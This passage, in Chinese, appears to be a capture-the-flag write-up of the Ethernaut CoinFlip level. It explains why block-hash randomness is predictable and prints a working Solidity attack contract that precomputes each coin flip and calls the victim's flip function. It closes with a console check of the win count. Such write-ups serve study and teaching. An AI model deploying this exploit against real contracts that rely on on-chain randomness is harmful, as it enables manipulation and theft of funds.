因為這個區塊號可以很容易地獲取,我們還可以產生拋硬幣的結果,並將這個結果提供給 flip 函數以獲得正確的猜測和增量 consecutiveWins。
我們之所以能夠做到這一點,是因為網路的阻塞時間夠長,因此 block.number 在函數呼叫之間不會改變。
使用幾乎相同的硬幣翻轉生成程式碼編寫一個 Solidity 合約(在 Remix IDE 上),CoinfileAttack 並在部署的實例位址處呼叫 flip 給定 CoinFlip 合約,並已確定翻轉結果:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./coinfilp.sol";
contract coinfileAttack {
    CoinFlip public victimContract;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    constructor(address _victimContractAddr) public {
        victimContract = CoinFlip(_victimContractAddr);
    }
    function filp() public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFilp = uint256(blockValue/FACTOR);
        bool side = coinFilp == 1 ? true : false;
        victimContract.flip(side);
    }
    
}
await contract.consecutiveWins()